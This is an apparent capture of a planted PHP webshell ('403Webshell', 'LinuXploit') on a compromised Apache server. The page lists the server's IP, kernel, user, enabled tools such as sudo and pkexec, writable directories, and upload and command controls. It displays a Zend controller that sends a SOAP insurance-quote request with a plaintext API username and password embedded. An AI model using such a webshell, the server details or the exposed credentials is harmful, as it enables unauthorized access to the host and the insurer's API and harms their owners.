403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/controllers/PingenrationController.php
<?php

class PingenrationController extends Zend_Controller_Action {

    public function init() {
        $this->_helper->layout->disableLayout();
        $aConfig = $this->getInvokeArg('bootstrap')->getOptions();
        $this->siteUrl = $aConfig['bootstrap']['siteUrl'];
    }

    public function indexAction() {
        //echo "hggjhjhhjjh"; exit;
        $xmlData = '<s:Envelope
    xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
    <s:Header>
        <o:Security s:mustUnderstand="1"
            xmlns:o="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
            <o:UsernameToken>
                <o:Username>ATGTOURSAPI@test.archinsurance.com</o:Username>
                <o:Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText">j964yhXfcrajby6m</o:Password>
            </o:UsernameToken>
        </o:Security>
    </s:Header>
    <s:Body
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema">
        <GetInsuranceQuote
            xmlns="http://www.opentravel.org/OTA/2003/05">
            <OTA_InsuranceQuoteRQ Version="0">
                <PlanForQuoteRQ>
                    <CoveredTravelers>
                        <CoveredTraveler>
                            <CoveredPerson BirthDate="1973-10-02"></CoveredPerson>
                            <Address>
                                <StateProv StateCode="MD"></StateProv>
                                <CountryName Code="USA"></CountryName>
                            </Address>
                        </CoveredTraveler>
                    </CoveredTravelers>
                    <InsCoverageDetail EffectiveDate="2020-07-24" ExpireDate="2020-08-08">
                        <CoverageRequirements>
                            <CoverageRequirement Optional="false" CoverageType="15"></CoverageRequirement>
                        </CoverageRequirements>
                        <TotalTripCost Amount="4800"></TotalTripCost>
                        <CoveredTrips>
                            <CoveredTrip>
                                <Destinations>
                                    <Destination>
                                        <CountryName>DO</CountryName>
                                    </Destination>
                                </Destinations>
                            </CoveredTrip>
                        </CoveredTrips>
                    </InsCoverageDetail>
                </PlanForQuoteRQ>
            </OTA_InsuranceQuoteRQ>
        </GetInsuranceQuote>
    </s:Body>
</s:Envelope>';
        $options = array(
            'trace' => true,
            'exceptions' => 1,
            'style' => SOAP_DOCUMENT,
            'use' => SOAP_LITERAL,
            'soap_version' => SOAP_1_1,
        );
        try {
            $client = new SoapClient("https://testservices.archinsurancesolutions.com/ota/otaintegrationservice.svc?wsdl", $options);
            $location = "https://testservices.archinsurancesolutions.com/ota/otaintegrationservice.svc";
            $action = "http://www.opentravel.org/OTA/2003/05/IOtaIntegrationService/GetInsuranceQuote";
            $res = $client->__doRequest($xmlData, $location, $action, SOAP_1_1);
            echo "<pre>";
            print_r($res);
            exit;
        } catch (SoapFault $e) {
            echo "prashant----" . print_r($e->getMessage());
            exit;
        }
        echo "prashant";
        exit;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit